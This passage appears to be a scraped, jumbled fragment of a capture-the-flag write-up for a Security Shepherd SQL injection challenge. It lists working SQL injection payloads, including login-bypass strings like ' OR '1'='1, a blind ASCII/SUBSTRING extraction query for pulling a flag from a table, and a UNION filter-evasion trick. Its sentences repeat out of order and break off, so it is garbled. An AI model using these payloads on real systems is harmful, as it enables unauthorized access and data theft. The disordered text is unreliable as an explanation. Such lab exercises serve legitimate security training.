admin' AND '1'='1 Password: anything
If Union injection fails due to strict column matching, Challenge 5 might be a challenge. Let’s look at a common variant. Sql Injection Challenge 5 Security Shepherd
payload = "admin' AND ASCII(SUBSTRING((SELECT flag FROM ch5_keys LIMIT 1),%d,1)) = %d -- " admin' AND '1'='1 Password: anything If Union injection
Or, if comments are filtered, use vertical tabs or simply indent: UNION SELECT might be blocked, but UNION(SELECT(1),2,3) works because parentheses act as whitespace separators in MySQL and PostgreSQL. : The ' closes the initial string
: The ' closes the initial string. The OR 1=1 is a logic statement that is always true, causing the database to return all rows. The -- (followed by a space) comments out the trailing quote added by the server, preventing a syntax error.
admin' Password: ' OR '1'='1
admin'||'1'='1 Password: anything